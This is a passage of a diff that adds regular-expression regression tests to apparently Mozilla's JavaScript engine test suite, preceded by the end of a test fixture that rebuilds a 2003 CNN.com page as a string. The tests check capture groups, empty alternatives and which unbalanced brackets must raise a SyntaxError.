+ s += '<td align="right"><input class="cnnFormButton" onclick="CNN_openPopup("","popuppoll","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=510,height=400")" value="VOTE" type="SUBMIT"></td></tr></table></td></tr>';
+ s += '</form></table>';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <!-- /right --></td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td colspan="3" valign="bottom"> <img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_ccc.gif" alt="" width="483" height="1"> </td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0" summary="Links to stories from CNN partners">';
+ s += ' <col width="10">';
+ s += ' <col width="250" align="left" valign="top">';
+ s += ' <col width="5">';
+ s += ' <col width="250" align="left" valign="top">';
+ s += ' <col width="5">';
+ s += ' <col width="250" align="left" valign="top">';
+ s += ' <tr><td colspan="6"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></td></tr>';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="6" width="10"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="1"></td>';
+ s += ' <td colspan="3"><span class="cnnMenuText" style="font-size: 12px"><b style="color: #c00">From our Partners</b></span>';
+ s += ' <img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/icon_external.gif" alt=" External site icon " width="20" height="13" border="0" align="middle"></td>';
+ s += ' <td colspan="2"></td>';
+ s += ' </tr>';
+ s += ' <tr><td colspan="5"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></td></tr>';
+ s += ' <tr><td colspan="5" bgcolor="#CCCCCC"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></td></tr>';
+ s += ' <tr><td colspan="5"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></td></tr>';
+ s += ' <tr valign="top">';
+ s += ' <td class="cnnMainSections" width="250">';
+ s += '<a href="/time/" target="new"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/partner_time.gif" alt="Time: " width="70" height="17" border="0"></a><br><div style="margin-top: 4px"> &#8226;&nbsp;<a target="new" href="/time/magazine/article/0,9171,1101030616-457387,00.html?CNN=yes">Where the Jobs Are</a><br> &#8226;&nbsp;<a target="new" href="/time/magazine/article/0,9171,1101030616-457373,00.html?CNN=yes">Of Dogs and Men</a><br> &#8226;&nbsp;<a target="new" href="/time/photoessays/gunmen/?CNN=yes">Photo Essay: Fighting the Peace</a><br></div><table border="0"><tr><td><img height="1" width="1" alt="" src="http://i.cnn.net/cnn/images/1.gif"/></td></tr><tr bgcolor="#dddddd"><td>&nbsp;&nbsp;<a target="new" href="/linkto/time.main.html">Subscribe to TIME</a>&nbsp;&nbsp;</td></tr></table> </td>';
+ s += ' <td width="5"><br></td>';
+ s += ' <td class="cnnMainSections" width="250">';
+ s += '<a href="/cnnsi/index.html?cnn=yes"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/partner_si.gif" alt="CNNsi.com: " width="138" height="17" border="0"></a><br><div style="margin-top: 4px">';
+ s += '&#8226;&nbsp;Marty Burns: <a target="new" href="/cnnsi/inside_game/marty_burns/news/2003/06/11/burns_game4/">Nets pull out all stops</a><br>';
+ s += '&#8226;&nbsp;Michael Farber: <a target="new" href="/cnnsi/inside_game/michael_farber/news/2003/06/11/farber_wrapup/">Sens look good for "04</a><br>';
+ s += '&#8226;&nbsp;Tim Layden: <a target="new" href="/cnnsi/inside_game/tim_layden/news/2003/06/11/layden_neuheisel/">NFL or bust for Neuheisel</a><br>';
+ s += '</div>';
+ s += '<table border="0"><tr><td><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></td></tr><tr bgcolor="#dddddd"><td>&nbsp;&nbsp;<a href="http://subs.timeinc.net/CampaignHandler/si_cnnsi?source_id=19">Subscribe to Sports Illustrated</a>&nbsp;&nbsp;</td></tr></table>';
+ s += ' </td>';
+ s += ' <td width="5"><br></td>';
+ s += ' <td class="cnnMainSections" width="250">';
+ s += '<a href="/linkto/nyt/main.banner.html" target="new"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/partners_nyt.gif" alt="New York Times: " width="105" height="17" border="0"></a><br><div style="margin-top: 4px"> &#8226;&nbsp;<a target="new" href="/linkto/nyt/story/1.0612.html">U.S. Widens Checks at Foreign Ports</a><br> &#8226;&nbsp;<a target="new" href="/linkto/nyt/story/2.0612.html">Rumsfeld: Iran Developing Nuclear Arms</a><br> &#8226;&nbsp;<a target="new" href="/linkto/nyt/story/3.0612.html">Vandalism, "Improvements" Mar Great Wall</a><br></div><table border="0"><tr><td><img height="1" width="1" alt="" src="http://i.cnn.net/cnn/images/1.gif"/></td></tr><tr bgcolor="#dddddd"><td>&nbsp;&nbsp;<a target="new" href="/linkto/nyt.main.html">Get 50% OFF the NY Times</a>&nbsp;&nbsp;</td></tr></table> </td>';
+ s += ' </tr>';
+ s += '';
+ s += '</table>';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></div>';
+ s += '';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="10"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="10"></td>';
+ s += ' <td width="760">';
+ s += '<!-- floor -->';
+ s += '';
+ s += '<table width="100%" border="0" cellpadding="0" cellspacing="0"><tr><td bgcolor="#999999"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></td></tr></table>';
+ s += '';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></div>';
+ s += '';
+ s += '<table width="100%" bgcolor="#DEDEDE" border="0" cellpadding="3" cellspacing="0">';
+ s += ' <tr> ';
+ s += ' <td><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="5" height="5"></td>';
+ s += ' <td><a href="http://edition.cnn.com/" class="cnnFormTextB" onClick="clickEdLink()" style="color:#000;">International Edition</a></td>';
+ s += '<form>';
+ s += ' <td><select title="CNN.com is available in different languages" class="cnnMenuText" name="languages" size="1" style="font-weight: bold; vertical-align: middle" onChange="if (this.options[selectedIndex].value != "") location.href=this.options[selectedIndex].value">';
+ s += ' <option value="" disabled selected>Languages</option>';
+ s += ' <option value="" disabled>---------</option>';
+ s += ' <option value="/cnnes/">Spanish</option>';
+ s += ' <option value="http://cnn.de/">German</option>';
+ s += ' <option value="http://cnnitalia.it/">Italian</option>';
+ s += ' <option value="http://www.joins.com/cnn/">Korean</option>';
+ s += ' <option value="http://arabic.cnn.com/">Arabic</option>';
+ s += ' <option value="http://www.CNN.co.jp/">Japanese</option>';
+ s += ' </select></td>';
+ s += '</form>';
+ s += ' <td><a href="/CNN/Programs/" class="cnnFormTextB" style="color:#000;">CNN TV</a></td>';
+ s += ' <td><a href="/CNNI/" class="cnnFormTextB" style="color:#000;">CNN International</a></td>';
+ s += ' <td><a href="/HLN/" class="cnnFormTextB" style="color:#000;">Headline News</a></td>';
+ s += ' <td><a href="/TRANSCRIPTS/" class="cnnFormTextB" style="color:#000;">Transcripts</a></td>';
+ s += ' <td><a href="/services/preferences/" title="Customize your CNN.com experience" class="cnnFormTextB" style="color:#000;">Preferences</a></td>';
+ s += ' <td><a href="/INDEX/about.us/" class="cnnFormTextB" style="color:#000;">About CNN.com</a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></div>';
+ s += '';
+ s += '<table width="100%" bgcolor="#EFEFEF" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr valign="top"> ';
+ s += ' <td style="padding-left:10px"><div class="cnnSectCopyright">';
+ s += '<b>&copy; 2003 Cable News Network LP, LLLP.</b><br>';
+ s += 'An AOL Time Warner Company. All Rights Reserved.<br>';
+ s += '<a href="/interactive_legal.html">Terms</a> under which this service is provided to you.<br>';
+ s += 'Read our <a href="/privacy.html">privacy guidelines</a>. <a href="/feedback/">Contact us</a>.';
+ s += ' </div></td>';
+ s += ' <td align="right"><table border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr> ';
+ s += ' <td rowspan="2" align="middle"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/sect/SEARCH/dotted.line.gif" alt="" width="7" height="46"></td>';
+ s += ' <td><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/icon.external.links.gif" alt="external link" width="20" height="13"></td>';
+ s += ' <td><div class="cnnSectExtSites">All external sites will open in a new browser.<br>';
+ s += ' CNN.com does not endorse external sites.</div></td>';
+ s += ' <td rowspan="2" align="middle"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/sect/SEARCH/dotted.line.gif" alt="" width="7" height="46"></td>';
+ s += ' <td rowspan="2"><!-- home/powered_by/sponsor.88x31 -->';
+ s += '<script language="JavaScript1.1">';
+ s += '<!--';
+ s += 'adSetTarget("_top");';
+ s += 'htmlAdWH( (new Array(93103308,93103308,93103308,93103308))[document.adoffset||0] , 88, 31);';
+ s += '//-->';
+ s += '</script><noscript><a href="http://ar.atwola.com/link/93103308/aol" target="_top"><img src="http://ar.atwola.com/image/93103308/aol" alt="Click here for our advertiser" width="88" height="31" border="0"></a></noscript>';
+ s += '</td>';
+ s += ' </tr>';
+ s += ' <tr valign="top"> ';
+ s += ' <td><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/icon_premium.gif" alt=" Premium content icon " width="9" height="11"></td>';
+ s += ' <td><span class="cnnSectExtSites">Denotes premium content.</span></td>';
+ s += ' </tr>';
+ s += ' </table></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<!-- /floor --></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '';
+ s += '';
+ s += '<!-- popunder ad generic/popunder_launch.720x300 -->';
+ s += '<script language="JavaScript1.1" type="text/javascript">';
+ s += '<!--';
+ s += 'if (document.adPopupFile) {';
+ s += ' if (document.adPopupInterval == null) {';
+ s += ' document.adPopupInterval = "0";';
+ s += ' }';
+ s += ' if (document.adPopunderInterval == null) {';
+ s += ' document.adPopunderInterval = document.adPopupInterval;';
+ s += ' }';
+ s += ' if (document.adPopupDomain != null) {';
+ s += ' adSetPopDm(document.adPopupDomain);';
+ s += ' }';
+ s += ' adSetPopupWH("93162673", "720", "300", document.adPopupFile, document.adPopunderInterval, 20, 50, -1);';
+ s += '}';
+ s += '// -->';
+ s += '</script>';
+ s += ' ';
+ s += '<!-- home/bottom.eyeblaster -->';
+ s += '<script language="JavaScript1.1" type="text/javascript">';
+ s += '<!--';
+ s += 'var MacPPC = (navigator.platform == "MacPPC") ? true : false;';
+ s += 'if (!MacPPC) {';
+ s += 'adSetType("J");';
+ s += 'htmlAdWH( (new Array(93137910,93137910,93137910,93137910))[document.adoffset||0], 101, 1);';
+ s += 'adSetType("");';
+ s += '}';
+ s += '// -->';
+ s += '</script>';
+ s += '';
+ s += '<script language="JavaScript1.1" src="http://ar.atwola.com/file/adsEnd.js"></script>';
+ s += '';
+ s += '<img src="/cookie.crumb" alt="" width="1" height="1">';
+ s += '<!--include virtual="/virtual/2002/main/survey.html"-->';
+ s += '</body>';
+ s += '</html>';
+
+ return s;
+ }
diff --git a/js/src/tests/non262/RegExp/regress-209919.js b/js/src/tests/non262/RegExp/regress-209919.js
new file mode 100644
index 0000000000..c8113f8abe
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-209919.js
@@ -0,0 +1,138 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 June 2003
+ * SUMMARY: Testing regexp submatches with quantifiers
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=209919
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 209919;
+var summary = 'Testing regexp submatches with quantifiers';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/*
+ * Waldemar: "ECMA-262 15.10.2.5, third algorithm, step 2.1 states that
+ * once the minimum repeat count (which is 0 for *, 1 for +, etc.) has
+ * been satisfied, an atom being repeated must not match the empty string."
+ *
+ * In this example, the minimum repeat count is 0, so the last thing the
+ * capturing parens is permitted to contain is the 'a'. It may NOT go on
+ * to capture the '' at the $ position of 'a', even though '' satifies
+ * the condition b*
+ *
+ */
+status = inSection(1);
+string = 'a';
+pattern = /(a|b*)*/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'a');
+addThis();
+
+
+/*
+ * In this example, the minimum repeat count is 5, so the capturing parens
+ * captures the 'a', then goes on to capture the '' at the $ position of 'a'
+ * 4 times before it has to stop. Therefore the last thing it contains is ''.
+ */
+status = inSection(2);
+string = 'a';
+pattern = /(a|b*){5,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '');
+addThis();
+
+
+/*
+ * Reduction of the above examples to contain only the condition b*
+ * inside the capturing parens. This can be even harder to grasp!
+ *
+ * The global match is the '' at the ^ position of 'a', but the parens
+ * is NOT permitted to capture it since the minimum repeat count is 0!
+ */
+status = inSection(3);
+string = 'a';
+pattern = /(b*)*/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('', undefined);
+addThis();
+
+
+/*
+ * Here we have used the + quantifier (repeat count 1) outside the parens.
+ * Therefore the parens must capture at least once before stopping, so it
+ * does capture the '' this time -
+ */
+status = inSection(4);
+string = 'a';
+pattern = /(b*)+/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('', '');
+addThis();
+
+
+/*
+ * More complex examples -
+ */
+pattern = /^\-?(\d{1,}|\.{0,})*(\,\d{1,})?$/;
+
+status = inSection(5);
+string = '100.00';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '00', undefined);
+addThis();
+
+status = inSection(6);
+string = '100,00';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '100', ',00');
+addThis();
+
+status = inSection(7);
+string = '1.000,00';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '000', ',00');
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-216591.js b/js/src/tests/non262/RegExp/regress-216591.js
new file mode 100644
index 0000000000..28104ef95d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-216591.js
@@ -0,0 +1,81 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 August 2003
+ * SUMMARY: Regexp conformance test
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=216591
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 216591;
+var summary = 'Regexp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'a {result.data.DATA} b';
+pattern = /\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('{result.data.DATA}', 'result.data.', 'data.', 'DATA');
+addThis();
+
+/*
+ * Add a global flag to the regexp. In Perl 5, this gives the same results as above. Compare:
+ *
+ * [ ] perl -e '"a {result.data.DATA} b" =~ /\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}/i; print("$&, $1, $2, $3");'
+ * {result.data.DATA}, result.data., data., DATA
+ *
+ * [ ] perl -e '"a {result.data.DATA} b" =~ /\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}/gi; print("$&, $1, $2, $3");'
+ * {result.data.DATA}, result.data., data., DATA
+ *
+ *
+ * But in JavaScript, there will no longer be any sub-captures:
+ */
+status = inSection(2);
+string = 'a {result.data.DATA} b';
+pattern = /\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}/gi;
+actualmatch = string.match(pattern);
+expectedmatch = Array('{result.data.DATA}');
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-220367-001.js b/js/src/tests/non262/RegExp/regress-220367-001.js
new file mode 100644
index 0000000000..40e83b4b38
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-220367-001.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 September 2003
+ * SUMMARY: Regexp conformance test
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=220367
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 220367;
+var summary = 'Regexp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'a';
+pattern = /(a)|(b)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'a', undefined);
+addThis();
+
+status = inSection(2);
+string = 'b';
+pattern = /(a)|(b)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, undefined, 'b');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-223273.js b/js/src/tests/non262/RegExp/regress-223273.js
new file mode 100644
index 0000000000..fc842fe53d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-223273.js
@@ -0,0 +1,242 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 23 October 2003
+ * SUMMARY: Unescaped, unbalanced parens in a regexp should cause SyntaxError.
+ *
+ * The same would also be true for unescaped, unbalanced brackets or braces
+ * if we followed the ECMA-262 Ed. 3 spec on this. But it was decided for
+ * backward compatibility reasons to follow Perl 5, which permits
+ *
+ * 1. an unescaped, unbalanced right bracket ]
+ * 2. an unescaped, unbalanced left brace {
+ * 3. an unescaped, unbalanced right brace }
+ *
+ * If any of these should occur, Perl treats each as a literal
+ * character. Therefore we permit all three of these cases, even
+ * though not ECMA-compliant. Note Perl errors on an unescaped,
+ * unbalanced left bracket; so will we.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=223273
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 223273;
+var summary = 'Unescaped, unbalanced parens in regexp should be a SyntaxError';
+var TEST_PASSED = 'SyntaxError';
+var TEST_FAILED = 'Generated an error, but NOT a SyntaxError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var CHECK_PASSED = 'Should not generate an error';
+var CHECK_FAILED = 'Generated an error!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * All the following contain unescaped, unbalanced parens and
+ * should generate SyntaxErrors. That's what we're testing for.
+ *
+ * To allow the test to compile and run, we have to hide the errors
+ * inside eval strings, and check they are caught at run-time.
+ *
+ * Inside such strings, remember to escape any escape character!
+ */
+status = inSection(1);
+testThis(' /(/ ');
+
+status = inSection(2);
+testThis(' /)/ ');
+
+status = inSection(3);
+testThis(' /(abc\\)def(g/ ');
+
+status = inSection(4);
+testThis(' /\\(abc)def)g/ ');
+
+
+/*
+ * These regexp patterns are correct and should not generate
+ * any errors. Note we use checkThis() instead of testThis().
+ */
+status = inSection(5);
+checkThis(' /\\(/ ');
+
+status = inSection(6);
+checkThis(' /\\)/ ');
+
+status = inSection(7);
+checkThis(' /(abc)def\\(g/ ');
+
+status = inSection(8);
+checkThis(' /(abc\\)def)g/ ');
+
+status = inSection(9);
+checkThis(' /(abc(\\))def)g/ ');
+
+status = inSection(10);
+checkThis(' /(abc([x\\)yz]+)def)g/ ');
+
+
+
+/*
+ * Unescaped, unbalanced left brackets should be a SyntaxError
+ */
+status = inSection(11);
+testThis(' /[/ ');
+
+status = inSection(12);
+testThis(' /[abc\\]def[g/ ');
+
+
+/*
+ * We permit unescaped, unbalanced right brackets, as does Perl.
+ * No error should result, even though this is not ECMA-compliant.
+ * Note we use checkThis() instead of testThis().
+ */
+status = inSection(13);
+checkThis(' /]/ ');
+
+status = inSection(14);
+checkThis(' /\\[abc]def]g/ ');
+
+
+/*
+ * These regexp patterns are correct and should not generate
+ * any errors. Note we use checkThis() instead of testThis().
+ */
+status = inSection(15);
+checkThis(' /\\[/ ');
+
+status = inSection(16);
+checkThis(' /\\]/ ');
+
+status = inSection(17);
+checkThis(' /[abc]def\\[g/ ');
+
+status = inSection(18);
+checkThis(' /[abc\\]def]g/ ');
+
+status = inSection(19);
+checkThis(' /(abc[\\]]def)g/ ');
+
+status = inSection(20);
+checkThis(' /[abc(x\\]yz+)def]g/ ');
+
+
+
+/*
+ * Run some tests for unbalanced braces. We again follow Perl, and
+ * thus permit unescaped unbalanced braces - both left and right,
+ * even though this is not ECMA-compliant.
+ *
+ * Note we use checkThis() instead of testThis().
+ */
+status = inSection(21);
+checkThis(' /abc{def/ ');
+
+status = inSection(22);
+checkThis(' /abc}def/ ');
+
+status = inSection(23);
+checkThis(' /a{2}bc{def/ ');
+
+status = inSection(24);
+checkThis(' /a}b{3}c}def/ ');
+
+
+/*
+ * These regexp patterns are correct and should not generate
+ * any errors. Note we use checkThis() instead of testThis().
+ */
+status = inSection(25);
+checkThis(' /abc\\{def/ ');
+
+status = inSection(26);
+checkThis(' /abc\\}def/ ');
+
+status = inSection(27);
+checkThis(' /a{2}bc\\{def/ ');
+
+status = inSection(28);
+checkThis(' /a\\}b{3}c\\}def/ ');
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+
+/*
+ * Invalid syntax should generate a SyntaxError
+ */
+function testThis(sInvalidSyntax)
+{
+ expect = TEST_PASSED;
+ actual = TEST_FAILED_BADLY;
+
+ try
+ {
+ eval(sInvalidSyntax);
+ }
+ catch(e)
+ {
+ if (e instanceof SyntaxError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+/*
+ * Valid syntax shouldn't generate any errors
+ */
+function checkThis(sValidSyntax)
+{
+ expect = CHECK_PASSED;
+ actual = CHECK_PASSED;
+
+ try
+ {
+ eval(sValidSyntax);
+ }
+ catch(e)
+ {
+ actual = CHECK_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/RegExp/regress-223535.js b/js/src/tests/non262/RegExp/regress-223535.js
new file mode 100644
index 0000000000..1d84fcdf39
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-223535.js
@@ -0,0 +1,97 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 24 October 2003
+ * SUMMARY: Testing regexps with empty alternatives
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=223535
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 223535;
+var summary = 'Testing regexps with empty alternatives';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+string = 'a';
+status = inSection(1);
+pattern = /a|/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(2);
+pattern = /|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(3);
+pattern = /|/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(4);
+pattern = /(a|)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(5);
+pattern = /(a||)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(6);
+pattern = /(|a)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('', '');
+addThis();
+
+status = inSection(7);
+pattern = /(|a|)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('', '');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-224676.js b/js/src/tests/non262/RegExp/regress-224676.js
new file mode 100644
index 0000000000..132ead9aeb
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-224676.js
@@ -0,0 +1,190 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 November 2003
+ * SUMMARY: Testing regexps with various disjunction + character class patterns
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=224676
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 224676;
+var summary = 'Regexps with various disjunction + character class patterns';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+string = 'ZZZxZZZ';
+status = inSection(1);
+pattern = /[x]|x/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('x');
+addThis();
+
+status = inSection(2);
+pattern = /x|[x]/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('x');
+addThis();
+
+
+string = 'ZZZxbZZZ';
+status = inSection(3);
+pattern = /a|[x]b/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(4);
+pattern = /[x]b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(5);
+pattern = /([x]b|a)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', 'xb');
+addThis();
+
+status = inSection(6);
+pattern = /([x]b|a)|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', 'xb');
+addThis();
+
+status = inSection(7);
+pattern = /^[x]b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+string = 'xb';
+status = inSection(8);
+pattern = /^[x]b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+
+string = 'ZZZxbZZZ';
+status = inSection(9);
+pattern = /([x]b)|a/;
+actualmatch = string.match(pattern);
